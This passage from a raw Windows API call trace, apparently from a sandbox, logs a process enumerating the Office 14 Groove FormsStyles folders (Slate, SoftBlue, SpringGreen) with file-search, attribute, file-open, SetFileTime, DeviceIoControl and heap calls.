Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\Slate\\*", fInfoLevelId=0x1, lpFindFileData=0x119e1bc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119e1bc) returned 0x2e91c0 [0078.851] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119e1bc | out: lpFindFileData=0x119e1bc*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x528f6190, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x618c8a10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x618c8a10, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0078.851] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119e1bc | out: lpFindFileData=0x119e1bc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9325dd00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x618c8a10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x9325dd00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x16c, dwReserved0=0x0, dwReserved1=0x0, cFileName="TAB_OFF.GIF", cAlternateFileName="")) returned 1 [0078.851] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab91a0 [0078.852] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab91a0) returned 1 [0078.852] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab91a0 [0078.852] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab91a0) returned 1 [0078.852] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab91a0 [0078.852] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x11c76d8 [0078.852] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab92b0) returned 1 [0078.852] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xac2810 [0078.852] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x11cdb40 [0078.852] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab91a0) returned 1 [0078.852] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119e1bc | out: lpFindFileData=0x119e1bc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9325dd00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x528f6190, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x9325dd00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x16c, dwReserved0=0x0, dwReserved1=0x0, cFileName="TAB_ON.GIF", cAlternateFileName="")) returned 1 [0078.852] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab91a0 [0078.853] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab91a0) returned 1 [0078.853] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab91a0 [0078.853] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab91a0) returned 1 [0078.853] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab91a0 [0078.853] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xac2830 [0078.853] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x11cdc48 [0078.853] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab91a0) returned 1 [0078.853] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119e1bc | out: lpFindFileData=0x119e1bc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9325dd00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x528f6190, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x9325dd00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x16c, dwReserved0=0x0, dwReserved1=0x0, cFileName="TAB_ON.GIF", cAlternateFileName="")) returned 0 [0078.853] GetLastError () returned 0x12 [0078.853] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\Slate\\*", fInfoLevelId=0x1, lpFindFileData=0x119e1bc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119e1bc) returned 0x2e9140 [0078.853] FindClose (in: hFindFile=0x2e91c0 | out: hFindFile=0x2e91c0) returned 1 [0078.854] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119e1bc | out: lpFindFileData=0x119e1bc*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x528f6190, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x618c8a10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x618c8a10, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0078.854] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119e1bc | out: lpFindFileData=0x119e1bc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9325dd00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x618c8a10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x9325dd00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x16c, dwReserved0=0x0, dwReserved1=0x0, cFileName="TAB_OFF.GIF", cAlternateFileName="")) returned 1 [0078.854] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119e1bc | out: lpFindFileData=0x119e1bc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9325dd00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x528f6190, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x9325dd00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x16c, dwReserved0=0x0, dwReserved1=0x0, cFileName="TAB_ON.GIF", cAlternateFileName="")) returned 1 [0078.854] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119e1bc | out: lpFindFileData=0x119e1bc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9325dd00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x528f6190, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x9325dd00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x16c, dwReserved0=0x0, dwReserved1=0x0, cFileName="TAB_ON.GIF", cAlternateFileName="")) returned 0 [0078.854] GetLastError () returned 0x12 [0078.854] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11c77e0) returned 1 [0078.854] FindClose (in: hFindFile=0x2e9140 | out: hFindFile=0x2e9140) returned 1 [0078.854] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11c76d8) returned 1 [0078.854] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11c75d0) returned 1 [0078.854] FindNextFileW (in: hFindFile=0x2e9180, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9325dd00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x5a980590, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x9325dd00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0xd41, dwReserved0=0x0, dwReserved1=0x0, cFileName="Slate.css", cAlternateFileName="")) returned 1 [0078.854] FindNextFileW (in: hFindFile=0x2e9180, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9325dd00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x6d2e6230, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x9325dd00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x38c, dwReserved0=0x0, dwReserved1=0x0, cFileName="SlateBlue.css", cAlternateFileName="")) returned 1 [0078.854] FindNextFileW (in: hFindFile=0x2e9180, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x528f6190, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x618c8a10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x618c8a10, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="SoftBlue", cAlternateFileName="")) returned 1 [0078.854] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x11c75d0 [0078.854] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\SoftBlue" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\formsstyles\\softblue"), fInfoLevelId=0x0, lpFileInformation=0x119e370 | out: lpFileInformation=0x119e370*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x528f6190, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x618c8a10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x618c8a10, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0078.855] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\SoftBlue" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\formsstyles\\softblue"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x170 [0078.855] SetFileTime (hFile=0x170, lpCreationTime=0x0, lpLastAccessTime=0x119e3b4, lpLastWriteTime=0x119e3b4) returned 0 [0078.855] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0x11c8048 [0078.855] DeviceIoControl (in: hDevice=0x170, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x11c8048, nOutBufferSize=0x4000, lpBytesReturned=0x119e40c, lpOverlapped=0x0 | out: lpOutBuffer=0x11c8048, lpBytesReturned=0x119e40c, lpOverlapped=0x0) returned 0 [0078.855] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11c8048) returned 1 [0078.855] NtClose (Handle=0x170) returned 0x0 [0078.855] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11c75d0) returned 1 [0078.855] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab91a0 [0078.855] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab92b0 [0078.855] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x11c75d0 [0078.856] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab91a0) returned 1 [0078.856] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x11c76d8 [0078.856] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\SoftBlue\\*", fInfoLevelId=0x1, lpFindFileData=0x119e1bc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119e1bc) returned 0x2e9140 [0078.856] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119e1bc | out: lpFindFileData=0x119e1bc*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x528f6190, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x618c8a10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x618c8a10, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0078.856] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119e1bc | out: lpFindFileData=0x119e1bc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x94570a00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x528f6190, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x94570a00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x1afa, dwReserved0=0x0, dwReserved1=0x0, cFileName="background.gif", cAlternateFileName="")) returned 1 [0078.856] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab91a0 [0078.856] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab91a0) returned 1 [0078.856] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab91a0 [0078.856] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab91a0) returned 1 [0078.856] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab91a0 [0078.856] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x11c77e0 [0078.857] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab92b0) returned 1 [0078.857] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xac2850 [0078.857] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x11cdd50 [0078.857] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab91a0) returned 1 [0078.857] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119e1bc | out: lpFindFileData=0x119e1bc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x94570a00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x618c8a10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x94570a00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x155, dwReserved0=0x0, dwReserved1=0x0, cFileName="tab_off.gif", cAlternateFileName="")) returned 1 [0078.857] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab91a0 [0078.857] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab91a0) returned 1 [0078.857] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab91a0 [0078.857] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab91a0) returned 1 [0078.857] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab91a0 [0078.857] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xac2870 [0078.858] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x11cde58 [0078.858] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab91a0) returned 1 [0078.858] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119e1bc | out: lpFindFileData=0x119e1bc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x94570a00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x528f6190, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x94570a00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0xde, dwReserved0=0x0, dwReserved1=0x0, cFileName="tab_on.gif", cAlternateFileName="")) returned 1 [0078.858] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab91a0 [0078.858] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab91a0) returned 1 [0078.858] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab91a0 [0078.858] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab91a0) returned 1 [0078.858] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab91a0 [0078.858] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xac2890 [0078.858] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x11cdf60 [0078.859] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab91a0) returned 1 [0078.859] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119e1bc | out: lpFindFileData=0x119e1bc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x94570a00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x528f6190, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x94570a00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0xde, dwReserved0=0x0, dwReserved1=0x0, cFileName="tab_on.gif", cAlternateFileName="")) returned 0 [0078.859] GetLastError () returned 0x12 [0078.859] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\SoftBlue\\*", fInfoLevelId=0x1, lpFindFileData=0x119e1bc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119e1bc) returned 0x2e91c0 [0078.859] FindClose (in: hFindFile=0x2e9140 | out: hFindFile=0x2e9140) returned 1 [0078.859] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119e1bc | out: lpFindFileData=0x119e1bc*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x528f6190, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x618c8a10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x618c8a10, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0078.859] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119e1bc | out: lpFindFileData=0x119e1bc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x94570a00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x528f6190, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x94570a00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x1afa, dwReserved0=0x0, dwReserved1=0x0, cFileName="background.gif", cAlternateFileName="")) returned 1 [0078.859] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119e1bc | out: lpFindFileData=0x119e1bc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x94570a00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x618c8a10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x94570a00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x155, dwReserved0=0x0, dwReserved1=0x0, cFileName="tab_off.gif", cAlternateFileName="")) returned 1 [0078.859] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119e1bc | out: lpFindFileData=0x119e1bc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x94570a00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x528f6190, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x94570a00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0xde, dwReserved0=0x0, dwReserved1=0x0, cFileName="tab_on.gif", cAlternateFileName="")) returned 1 [0078.859] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119e1bc | out: lpFindFileData=0x119e1bc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x94570a00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x528f6190, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x94570a00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0xde, dwReserved0=0x0, dwReserved1=0x0, cFileName="tab_on.gif", cAlternateFileName="")) returned 0 [0078.859] GetLastError () returned 0x12 [0078.859] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11c76d8) returned 1 [0078.859] FindClose (in: hFindFile=0x2e91c0 | out: hFindFile=0x2e91c0) returned 1 [0078.859] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11c77e0) returned 1 [0078.859] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11c75d0) returned 1 [0078.859] FindNextFileW (in: hFindFile=0x2e9180, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9325dd00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x5aad71f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x9325dd00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0xe34, dwReserved0=0x0, dwReserved1=0x0, cFileName="SoftBlue.css", cAlternateFileName="")) returned 1 [0078.859] FindNextFileW (in: hFindFile=0x2e9180, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x528f6190, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x618c8a10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x618c8a10, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="SpringGreen", cAlternateFileName="")) returned 1 [0078.859] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x11c75d0 [0078.860] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\SpringGreen" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\formsstyles\\springgreen"), fInfoLevelId=0x0, lpFileInformation=0x119e370 | out: lpFileInformation=0x119e370*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x528f6190, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x618c8a10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x618c8a10, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0078.860] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\SpringGreen" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\formsstyles\\springgreen"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x180 [0078.861] SetFileTime (hFile=0x180, lpCreationTime=0x0, lpLastAccessTime=0x119e3b4, lpLastWriteTime=0x119e3b4) returned 0 [0078.861] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0x11c8048 [0078.861] DeviceIoControl (in: hDevice=0x180, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x11c8048, nOutBufferSize=0x4000, lpBytesReturned=0x119e40c, lpOverlapped=0x0 | out: lpOutBuffer=0x11c8048, lpBytesReturned=0x119e40c, lpOverlapped=0x0) returned 0 [0078.861] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11c8048) returned 1 [0078.861] NtClose (Handle=0x180) returned 0x0 [0078.861] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11c75d0) returned 1 [0078.861] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab91a0 [0078.861] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab92b0 [0078.861] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x11c75d0 [0078.862] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab91a0) returned 1 [0078.862] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x11c77e0 [0078.862] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\SpringGreen\\*", fInfoLevelId=0x1, lpFindFileData=0x119e1bc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119e1bc) returned 0x2e91c0 [0078.862] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119e1bc | out: lpFindFileData=0x119e1bc*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x528f6190, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x618c8a10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x618c8a10, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0078.862] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119e1bc | out: lpFindFileData=0x119e1bc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x94570a00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x528f6190, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x94570a00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x1ac, dwReserved0=0x0, dwReserved1=0x0, cFileName="BUTTON.GIF", cAlternateFileName="")) returned 1 [0078.862] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab91a0 [0078.862] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab91a0) returned 1 [0078.862] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab91a0 [0078.862] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab91a0) returned 1 [0078.862] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab91a0 [0078.862] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x11c76d8 [0078.863] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab92b0) returned 1 [0078.863] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xac28b0 [0078.863] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x11ce068 [0078.863] 